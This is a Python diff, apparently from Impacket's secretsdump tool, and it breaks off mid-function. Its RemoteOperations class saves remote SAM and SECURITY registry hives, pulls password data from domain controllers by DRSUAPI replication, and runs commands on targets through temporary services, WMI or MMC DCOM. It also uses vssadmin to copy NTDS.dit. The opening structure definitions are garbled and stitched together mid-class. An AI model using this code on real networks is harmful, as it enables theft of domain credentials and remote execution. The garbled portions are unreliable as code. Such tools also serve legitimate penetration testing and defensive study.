import STATUS_MORE_ENTRIES +from impacket.structure import Structure +from impacket.structure import hexdump +from impacket.uuid import string_to_bin +from impacket.crypto import transformKey +from impacket.krb5 import constants +from impacket.krb5.asn1 import Ticket as TicketAsn1, EncTicketPart, AP_REQ, seq_set, Authenticator, TGS_REQ, \ + seq_set_iter, TGS_REP, EncTGSRepPart, KERB_KEY_LIST_REP +from impacket.krb5.constants import ProtocolVersionNumber, TicketFlags, PrincipalNameType, encodeFlags, EncryptionTypes +from impacket.krb5.crypto import string_to_key, Key, _enctype_table +from impacket.krb5.kerberosv5 import sendReceive +from impacket.krb5.types import KerberosTime, Principal, Ticket +try: + from Cryptodome.Cipher import DES, ARC4, AES + from Cryptodome.Hash import HMAC, MD4, MD5 +except ImportError: + LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex") + LOG.critical("See https://pypi.org/project/pycryptodomex/") +try: + import pyasn1 + from pyasn1.type.univ import noValue, SequenceOf, Integer + from pyasn1.codec.der import encoder, decoder +except ImportError: + LOG.critical('This module needs pyasn1 installed') + +try: + rand = random.SystemRandom() +except NotImplementedError: + rand = random + pass + +# Structures +# Taken from https://insecurety.net/?p=768 +class SAM_KEY_DATA(Structure): + structure = ( + ('Revision','L',self['SubAuthority'][i*4:i*4+4])[0]) + return ans + +class LSA_SECRET_BLOB(Structure): + structure = ( + ('Length','=0: + if tries >= 3: + raise e + # Stuff didn't finish yet.. wait more + time.sleep(5) + tries += 1 + pass + else: + raise e + else: + break + + def seek(self, offset, whence): + # Implement whence, for now it's always from the beginning of the file + if whence == 0: + self.__currentOffset = offset + + def read(self, bytesToRead): + if bytesToRead > 0: + data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead) + self.__currentOffset += len(data) + return data + return b'' + + def close(self): + if self.__fid is not None: + self.__smbConnection.closeFile(self.__tid, self.__fid) + self.__smbConnection.deleteFile('ADMIN$', self.__fileName) + self.__fid = None + + def tell(self): + return self.__currentOffset + + def __str__(self): + return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName) + +class RemoteOperations: + def __init__(self, smbConnection, doKerberos, kdcHost=None, ldapConnection=None): + self.__smbConnection = smbConnection + if self.__smbConnection is not None: + self.__smbConnection.setTimeout(5*60) + self.__ldapConnection = ldapConnection + self.__serviceName = 'RemoteRegistry' + self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]' + self.__rrp = None + self.__regHandle = None + + self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]' + self.__samr = None + self.__domainHandle = None + self.__domainName = None + self.__domainSid = None + + self.__drsr = None + self.__hDrs = None + self.__NtdsDsaObjectGuid = None + self.__ppartialAttrSet = None + self.__prefixTable = [] + self.__doKerberos = doKerberos + self.__kdcHost = kdcHost + + self.__bootKey = b'' + self.__disabled = False + self.__shouldStop = False + self.__started = False + + self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]' + self.__scmr = None + self.__tmpServiceName = None + self.__serviceDeleted = False + + self.__batchFile = '%TEMP%\\execute.bat' + self.__shell = '%COMSPEC% /Q /c ' + self.__output = '%SYSTEMROOT%\\Temp\\__output' + self.__answerTMP = b'' + + self.__execMethod = 'smbexec' + + def setExecMethod(self, method): + self.__execMethod = method + + def __connectSvcCtl(self): + rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl) + rpc.set_smb_connection(self.__smbConnection) + self.__scmr = rpc.get_dce_rpc() + self.__scmr.connect() + self.__scmr.bind(scmr.MSRPC_UUID_SCMR) + + def __connectWinReg(self): + rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) + rpc.set_smb_connection(self.__smbConnection) + self.__rrp = rpc.get_dce_rpc() + self.__rrp.connect() + self.__rrp.bind(rrp.MSRPC_UUID_RRP) + + def getRRP(self): + return self.__rrp + + def connectSamr(self, domain): + rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr) + rpc.set_smb_connection(self.__smbConnection) + self.__samr = rpc.get_dce_rpc() + self.__samr.connect() + self.__samr.bind(samr.MSRPC_UUID_SAMR) + resp = samr.hSamrConnect(self.__samr) + serverHandle = resp['ServerHandle'] + + resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain) + self.__domainSid = resp['DomainId'].formatCanonical() + + resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId']) + self.__domainHandle = resp['DomainHandle'] + self.__domainName = domain + + def __connectDrds(self): + stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI, + protocol='ncacn_ip_tcp') + rpc = transport.DCERPCTransportFactory(stringBinding) + rpc.setRemoteHost(self.__smbConnection.getRemoteHost()) + rpc.setRemoteName(self.__smbConnection.getRemoteName()) + if hasattr(rpc, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpc.set_credentials(*(self.__smbConnection.getCredentials())) + rpc.set_kerberos(self.__doKerberos, self.__kdcHost) + self.__drsr = rpc.get_dce_rpc() + self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + if self.__doKerberos: + self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + self.__drsr.connect() + # Uncomment these lines if you want to play some tricks + # This will make the dump way slower tho. + #self.__drsr.bind(samr.MSRPC_UUID_SAMR) + #self.__drsr = self.__drsr.alter_ctx(drsuapi.MSRPC_UUID_DRSUAPI) + #self.__drsr.set_max_fragment_size(1) + # And Comment this line + self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI) + + if self.__domainName is None: + # Get domain name from credentials cached + self.__domainName = rpc.get_credentials()[2] + + request = drsuapi.DRSBind() + request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID + drs = drsuapi.DRS_EXTENSIONS_INT() + drs['cb'] = len(drs) #- 4 + drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \ + drsuapi.DRS_EXT_STRONG_ENCRYPTION + drs['SiteObjGuid'] = drsuapi.NULLGUID + drs['Pid'] = 0 + drs['dwReplEpoch'] = 0 + drs['dwFlagsExt'] = 0 + drs['ConfigObjGUID'] = drsuapi.NULLGUID + # I'm uber potential (c) Ben + drs['dwExtCaps'] = 0xffffffff + request['pextClient']['cb'] = len(drs) + request['pextClient']['rgb'] = list(drs.getData()) + resp = self.__drsr.request(request) + if LOG.level == logging.DEBUG: + LOG.debug('DRSBind() answer') + resp.dump() + + # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of + # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data. + drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT() + + # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right. + ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * ( + len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb']) + drsExtensionsInt.fromString(ppextServer) + + if drsExtensionsInt['dwReplEpoch'] != 0: + # Different epoch, we have to call DRSBind again + if LOG.level == logging.DEBUG: + LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[ + 'dwReplEpoch']) + drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch'] + request['pextClient']['cb'] = len(drs) + request['pextClient']['rgb'] = list(drs.getData()) + resp = self.__drsr.request(request) + + self.__hDrs = resp['phDrs'] + + # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges + resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2) + if LOG.level == logging.DEBUG: + LOG.debug('DRSDomainControllerInfo() answer') + resp.dump() + + if resp['pmsgOut']['V2']['cItems'] > 0: + self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] + else: + LOG.error("Couldn't get DC info for domain %s" % self.__domainName) + raise Exception('Fatal, aborting') + + def getDrsr(self): + return self.__drsr + + def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME, + formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''): + if self.__drsr is None: + self.__connectDrds() + + LOG.debug('Calling DRSCrackNames for %s ' % name) + resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,)) + return resp + + def DRSGetNCChanges(self, userEntry): + if self.__drsr is None: + self.__connectDrds() + + LOG.debug('Calling DRSGetNCChanges for %s ' % userEntry) + request = drsuapi.DRSGetNCChanges() + request['hDrs'] = self.__hDrs + request['dwInVersion'] = 8 + + request['pmsgIn']['tag'] = 8 + request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid + request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid + + dsName = drsuapi.DSNAME() + dsName['SidLen'] = 0 + dsName['Guid'] = string_to_bin(userEntry[1:-1]) + dsName['Sid'] = '' + dsName['NameLen'] = 0 + dsName['StringName'] = ('\x00') + + dsName['structLen'] = len(dsName.getData()) + + request['pmsgIn']['V8']['pNC'] = dsName + + request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0 + request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0 + + request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL + + request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP + request['pmsgIn']['V8']['cMaxObjects'] = 1 + request['pmsgIn']['V8']['cMaxBytes'] = 0 + request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ + if self.__ppartialAttrSet is None: + self.__prefixTable = [] + self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT() + self.__ppartialAttrSet['dwVersion'] = 1 + self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID) + for attId in list(NTDSHashes.ATTRTYP_TO_ATTID.values()): + self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId)) + request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet + request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable) + request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable + request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL + + return self.__drsr.request(request) + + def getDomainUsers(self, enumerationContext=0): + if self.__samr is None: + self.connectSamr(self.getMachineNameAndDomain()[1]) + + try: + resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle, + userAccountControl=samr.USER_NORMAL_ACCOUNT | \ + samr.USER_WORKSTATION_TRUST_ACCOUNT | \ + samr.USER_SERVER_TRUST_ACCOUNT |\ + samr.USER_INTERDOMAIN_TRUST_ACCOUNT, + enumerationContext=enumerationContext) + except DCERPCException as e: + if str(e).find('STATUS_MORE_ENTRIES') < 0: + raise + resp = e.get_packet() + return resp + + def getGroupsInDomain(self): + try: + resp = samr.hSamrEnumerateGroupsInDomain(self.__samr, self.__domainHandle) + except DCERPCException as e: + if str(e).find('STATUS_MORE_ENTRIES') < 0: + raise + resp = e.get_packet() + return resp + + def getAliasesInDomain(self): + try: + resp = samr.hSamrEnumerateAliasesInDomain(self.__samr, self.__domainHandle) + except DCERPCException as e: + if str(e).find('STATUS_MORE_ENTRIES') < 0: + raise + resp = e.get_packet() + return resp + + def getMembersInGroup(self, rid): + ans = samr.hSamrOpenGroup(self.__samr, self.__domainHandle, groupId=rid) + resp = samr.hSamrGetMembersInGroup(self.__samr, ans['GroupHandle']) + + return resp + + def getMembersInAlias(self, rid): + ans = samr.hSamrOpenAlias(self.__samr, self.__domainHandle, aliasId=rid) + resp = samr.hSamrGetMembersInAlias(self.__samr, ans['AliasHandle']) + + return resp + + def getDomainUsersLDAP(self, searchFilter): + domainUsers = [] + if self.__ldapConnection is None: + LOG.error('Failed to establish LDAP connection, the user list will be empty') + return domainUsers + + try: + LOG.debug('Search Filter=%s' % searchFilter) + sc = SimplePagedResultsControl(size=100) + resp = self.__ldapConnection.search(searchFilter=searchFilter, attributes=['msDS-PrincipalName'], sizeLimit=0, searchControls=[sc]) + except LDAPSearchError: + raise + + self.__ldapConnection.close() + + for item in resp: + if isinstance(item, SearchResultEntry): + msDSPrincipalName = '' + try: + for attribute in item['attributes']: + if str(attribute['type']) == 'msDS-PrincipalName': + msDSPrincipalName = attribute['vals'][0].asOctets().decode('utf-8') + except Exception as e: + LOG.debug("Exception", exc_info=True) + LOG.error('Skipping item, cannot process due to error %s' % str(e)) + pass + else: + LOG.debug('DA msDS-PrincipalName: %s' % msDSPrincipalName) + domainUsers.append(msDSPrincipalName) + + return domainUsers + + def getDomainSid(self): + if self.__domainSid is not None: + return self.__domainSid + + if self.__samr is None: + self.connectSamr(self.getMachineNameAndDomain()[1]) + + return self.__domainSid + + def getMachineKerberosSalt(self): + """ + Returns Kerberos salt for the current connection if + we have the correct information + """ + if self.__smbConnection.getServerName() == '': + # Todo: figure out an RPC call that gives us the domain FQDN + # instead of the NETBIOS name as NetrWkstaGetInfo does + return b'' + else: + host = self.__smbConnection.getServerName() + domain = self.__smbConnection.getServerDNSDomainName() + salt = b'%shost%s.%s' % (domain.upper().encode('utf-8'), host.lower().encode('utf-8'), domain.lower().encode('utf-8')) + return salt + + def getMachineNameAndDomain(self): + if self.__smbConnection.getServerName() == '': + # No serverName.. this is either because we're doing Kerberos + # or not receiving that data during the login process. + # Let's try getting it through RPC + rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]') + rpc.set_smb_connection(self.__smbConnection) + dce = rpc.get_dce_rpc() + dce.connect() + dce.bind(wkst.MSRPC_UUID_WKST) + resp = wkst.hNetrWkstaGetInfo(dce, 100) + dce.disconnect() + return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][ + 'wki100_langroup'][:-1] + else: + return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain() + + def getDNSDomain(self): + if self.__smbConnection.getServerDNSDomainName() == '': + # Todo: figure out an RPC call that gives us the domain FQDN + # instead of the NETBIOS name as NetrWkstaGetInfo does + return b'' + else: + return self.__smbConnection.getServerDNSDomainName() + + def getDefaultLoginAccount(self): + try: + ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon') + keyHandle = ans['phkResult'] + dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName') + username = dataValue[:-1] + dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName') + domain = dataValue[:-1] + rrp.hBaseRegCloseKey(self.__rrp, keyHandle) + if len(domain) > 0: + return '%s\\%s' % (domain,username) + else: + return username + except: + return None + + def getServiceAccount(self, serviceName): + try: + # Open the service + ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName) + serviceHandle = ans['lpServiceHandle'] + resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle) + account = resp['lpServiceConfig']['lpServiceStartName'][:-1] + scmr.hRCloseServiceHandle(self.__scmr, serviceHandle) + if account.startswith('.\\'): + account = account[2:] + return account + except Exception as e: + # Don't log if history service is not found, that should be normal + if serviceName.endswith("_history") is False: + LOG.error(e) + return None + + def __checkServiceStatus(self): + # Open SC Manager + ans = scmr.hROpenSCManagerW(self.__scmr) + self.__scManagerHandle = ans['lpScHandle'] + # Now let's open the service + ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName) + self.__serviceHandle = ans['lpServiceHandle'] + # Let's check its status + ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle) + if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED: + LOG.info('Service %s is in stopped state'% self.__serviceName) + self.__shouldStop = True + self.__started = False + elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING: + LOG.debug('Service %s is already running'% self.__serviceName) + self.__shouldStop = False + self.__started = True + else: + raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState']) + + # Let's check its configuration if service is stopped, maybe it's disabled :s + if self.__started is False: + ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle) + if ans['lpServiceConfig']['dwStartType'] == 0x4: + LOG.info('Service %s is disabled, enabling it'% self.__serviceName) + self.__disabled = True + scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3) + LOG.info('Starting service %s' % self.__serviceName) + scmr.hRStartServiceW(self.__scmr,self.__serviceHandle) + time.sleep(1) + + def enableRegistry(self): + self.__connectSvcCtl() + self.__checkServiceStatus() + self.__connectWinReg() + + def __restore(self): + # First of all stop the service if it was originally stopped + if self.__shouldStop is True: + LOG.info('Stopping service %s' % self.__serviceName) + scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP) + if self.__disabled is True: + LOG.info('Restoring the disabled state for service %s' % self.__serviceName) + scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4) + if self.__serviceDeleted is False and self.__tmpServiceName is not None: + # Check again the service we created does not exist, starting a new connection + # Why?.. Hitting CTRL+C might break the whole existing DCE connection + try: + rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost()) + if hasattr(rpc, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpc.set_credentials(*self.__smbConnection.getCredentials()) + rpc.set_kerberos(self.__doKerberos, self.__kdcHost) + self.__scmr = rpc.get_dce_rpc() + self.__scmr.connect() + self.__scmr.bind(scmr.MSRPC_UUID_SCMR) + # Open SC Manager + ans = scmr.hROpenSCManagerW(self.__scmr) + self.__scManagerHandle = ans['lpScHandle'] + # Now let's open the service + resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName) + service = resp['lpServiceHandle'] + scmr.hRDeleteService(self.__scmr, service) + scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) + scmr.hRCloseServiceHandle(self.__scmr, service) + scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle) + scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle) + rpc.disconnect() + except Exception as e: + # If service is stopped it'll trigger an exception + # If service does not exist it'll trigger an exception + # So. we just wanna be sure we delete it, no need to + # show this exception message + pass + + def finish(self): + self.__restore() + if self.__rrp is not None: + self.__rrp.disconnect() + if self.__drsr is not None: + self.__drsr.disconnect() + if self.__samr is not None: + self.__samr.disconnect() + if self.__scmr is not None: + try: + self.__scmr.disconnect() + except Exception as e: + if str(e).find('STATUS_INVALID_PARAMETER') >=0: + pass + else: + raise + + def getBootKey(self): + bootKey = b'' + ans = rrp.hOpenLocalMachine(self.__rrp) + self.__regHandle = ans['phKey'] + for key in ['JD','Skew1','GBG','Data']: + LOG.debug('Retrieving class info for %s'% key) + ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key) + keyHandle = ans['phkResult'] + ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle) + bootKey = bootKey + b(ans['lpClassOut'][:-1]) + rrp.hBaseRegCloseKey(self.__rrp, keyHandle) + + transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] + + bootKey = unhexlify(bootKey) + + for i in range(len(bootKey)): + self.__bootKey += bootKey[transforms[i]:transforms[i]+1] + + LOG.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey).decode('utf-8')) + + return self.__bootKey + + def checkNoLMHashPolicy(self): + LOG.debug('Checking NoLMHash Policy') + ans = rrp.hOpenLocalMachine(self.__rrp) + self.__regHandle = ans['phKey'] + + ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa') + keyHandle = ans['phkResult'] + try: + dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash') + except: + noLMHash = 0 + + if noLMHash != 1: + LOG.debug('LMHashes are being stored') + return False + + LOG.debug('LMHashes are NOT being stored') + return True + + def __retrieveHive(self, hiveName): + tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp' + ans = rrp.hOpenLocalMachine(self.__rrp) + regHandle = ans['phKey'] + try: + ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName) + except: + raise Exception("Can't open %s hive" % hiveName) + keyHandle = ans['phkResult'] + rrp.hBaseRegSaveKey(self.__rrp, keyHandle, '..\\Temp\\'+tmpFileName) + rrp.hBaseRegCloseKey(self.__rrp, keyHandle) + rrp.hBaseRegCloseKey(self.__rrp, regHandle) + # Now let's open the remote file, so it can be read later + remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\'+tmpFileName) + return remoteFileName + + def saveSAM(self): + LOG.debug('Saving remote SAM database') + return self.__retrieveHive('SAM') + + def saveSECURITY(self): + LOG.debug('Saving remote SECURITY database') + return self.__retrieveHive('SECURITY') + + def __smbExec(self, command): + self.__serviceDeleted = False + resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, + lpBinaryPathName=command) + service = resp['lpServiceHandle'] + try: + scmr.hRStartServiceW(self.__scmr, service) + except: + pass + scmr.hRDeleteService(self.__scmr, service) + self.__serviceDeleted = True + scmr.hRCloseServiceHandle(self.__scmr, service) + + def __getInterface(self, interface, resp): + # Now let's parse the answer and build an Interface instance + objRefType = OBJREF(b''.join(resp))['flags'] + objRef = None + if objRefType == FLAGS_OBJREF_CUSTOM: + objRef = OBJREF_CUSTOM(b''.join(resp)) + elif objRefType == FLAGS_OBJREF_HANDLER: + objRef = OBJREF_HANDLER(b''.join(resp)) + elif objRefType == FLAGS_OBJREF_STANDARD: + objRef = OBJREF_STANDARD(b''.join(resp)) + elif objRefType == FLAGS_OBJREF_EXTENDED: + objRef = OBJREF_EXTENDED(b''.join(resp)) + else: + logging.error("Unknown OBJREF Type! 0x%x" % objRefType) + + return IRemUnknown2( + INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'], + oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'], + target=interface.get_target())) + + def __mmcExec(self,command): + command = command.replace('%COMSPEC%', 'c:\\windows\\system32\\cmd.exe') + username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials() + dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey, + oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) + iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) + iMMC = IDispatch(iInterface) + + resp = iMMC.GetIDsOfNames(('Document',)) + + dispParams = DISPPARAMS(None, False) + dispParams['rgvarg'] = NULL + dispParams['rgdispidNamedArgs'] = NULL + dispParams['cArgs'] = 0 + dispParams['cNamedArgs'] = 0 + resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) + + iDocument = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) + resp = iDocument.GetIDsOfNames(('ActiveView',)) + resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) + + iActiveView = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) + pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0] + + pQuit = iMMC.GetIDsOfNames(('Quit',))[0] + + dispParams = DISPPARAMS(None, False) + dispParams['rgdispidNamedArgs'] = NULL + dispParams['cArgs'] = 4 + dispParams['cNamedArgs'] = 0 + arg0 = VARIANT(None, False) + arg0['clSize'] = 5 + arg0['vt'] = VARENUM.VT_BSTR + arg0['_varUnion']['tag'] = VARENUM.VT_BSTR + arg0['_varUnion']['bstrVal']['asData'] = 'c:\\windows\\system32\\cmd.exe' + + arg1 = VARIANT(None, False) + arg1['clSize'] = 5 + arg1['vt'] = VARENUM.VT_BSTR + arg1['_varUnion']['tag'] = VARENUM.VT_BSTR + arg1['_varUnion']['bstrVal']['asData'] = 'c:\\' + + arg2 = VARIANT(None, False) + arg2['clSize'] = 5 + arg2['vt'] = VARENUM.VT_BSTR + arg2['_varUnion']['tag'] = VARENUM.VT_BSTR + arg2['_varUnion']['bstrVal']['asData'] = command[len('c:\\windows\\system32\\cmd.exe'):] + + arg3 = VARIANT(None, False) + arg3['clSize'] = 5 + arg3['vt'] = VARENUM.VT_BSTR + arg3['_varUnion']['tag'] = VARENUM.VT_BSTR + arg3['_varUnion']['bstrVal']['asData'] = '7' + dispParams['rgvarg'].append(arg3) + dispParams['rgvarg'].append(arg2) + dispParams['rgvarg'].append(arg1) + dispParams['rgvarg'].append(arg0) + + iActiveView.Invoke(pExecuteShellCommand, 0x409, DISPATCH_METHOD, dispParams, 0, [], []) + + dispParams = DISPPARAMS(None, False) + dispParams['rgvarg'] = NULL + dispParams['rgdispidNamedArgs'] = NULL + dispParams['cArgs'] = 0 + dispParams['cNamedArgs'] = 0 + + iMMC.Invoke(pQuit, 0x409, DISPATCH_METHOD, dispParams, 0, [], []) + + + def __wmiExec(self, command): + # Convert command to wmi exec friendly format + command = command.replace('%COMSPEC%', 'cmd.exe') + username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials() + dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey, + oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) + iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) + iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) + iWbemLevel1Login.RemRelease() + + win32Process,_ = iWbemServices.GetObject('Win32_Process') + win32Process.Create(command, '\\', None) + + dcom.disconnect() + + def __executeRemote(self, data): + self.__tmpServiceName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \ + self.__shell + self.__batchFile + command += ' & ' + 'del ' + self.__batchFile + + LOG.debug('ExecuteRemote command: %s' % command) + if self.__execMethod == 'smbexec': + self.__smbExec(command) + elif self.__execMethod == 'wmiexec': + self.__wmiExec(command) + elif self.__execMethod == 'mmcexec': + self.__mmcExec(command) + else: + raise Exception('Invalid exec method %s, aborting' % self.__execMethod) + + + def __answer(self, data): + self.__answerTMP += data + + def __getLastVSS(self, forDrive=None): + if forDrive: + command = '%COMSPEC% /C vssadmin list shadows /for=' + forDrive + else: + command = '%COMSPEC% /C vssadmin list shadows' + self.__executeRemote(command) + time.sleep(5) + tries = 0 + while True: + try: + self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) + break + except Exception as e: + if tries > 30: + # We give up + raise Exception('Too many tries trying to list vss shadows') + if str(e).find('SHARING') > 0: + # Stuff didn't finish yet.. wait more + time.sleep(5) + tries +=1 + pass + else: + raise + + lines = self.__answerTMP.split(b'\n') + lastShadow = b'' + lastShadowFor = b'' + lastShadowId = b'' + + # Let's find the last one + # The string used to search the shadow for drive. Wondering what happens + # in other languages + SHADOWFOR = b'Volume: (' + IDSTART = b'Shadow Copy ID: {' + IDLEN=len('3547017b-0ac9-478b-88e6-f9be7e1c11999') + + for line in lines: + if line.find(b'GLOBALROOT') > 0: + lastShadow = line[line.find(b'\\\\?'):][:-1] + elif line.find(SHADOWFOR) > 0: + lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2] + elif line.find(IDSTART) > 0: + lastShadowId = line[line.find(IDSTART)+len(IDSTART):][:IDLEN-1] + + self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') + + LOG.debug('__getLastVSS found last VSS %s on %s with ID of %s' % (lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8'), lastShadowId.decode('utf-8'))) + + return lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8'), lastShadowId.decode('utf-8') + + def saveNTDS(self): + LOG.info('Searching for NTDS.dit') + # First of all, let's try to read the target NTDS.dit registry entry + try: + ans = rrp.hOpenLocalMachine(self.__rrp) + regHandle = ans['phKey'] + except: + # Can't open the root key + return None + + try: + ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters') + keyHandle = ans['phkResult'] + except: + # Can't open the registry path, assuming no NTDS on the other end + return None + + try: + dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file') + ntdsLocation = dataValue[:-1] + ntdsDrive = ntdsLocation[:2] + except: + # Can't open the registry path, assuming no NTDS on the other end + return None + + rrp.hBaseRegCloseKey(self.__rrp, keyHandle) + rrp.hBaseRegCloseKey(self.__rrp, regHandle) + + LOG.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation) + LOG.info('Using %s method for remote execution' % self.__execMethod) + # Get the list of remote shadows + shadow, 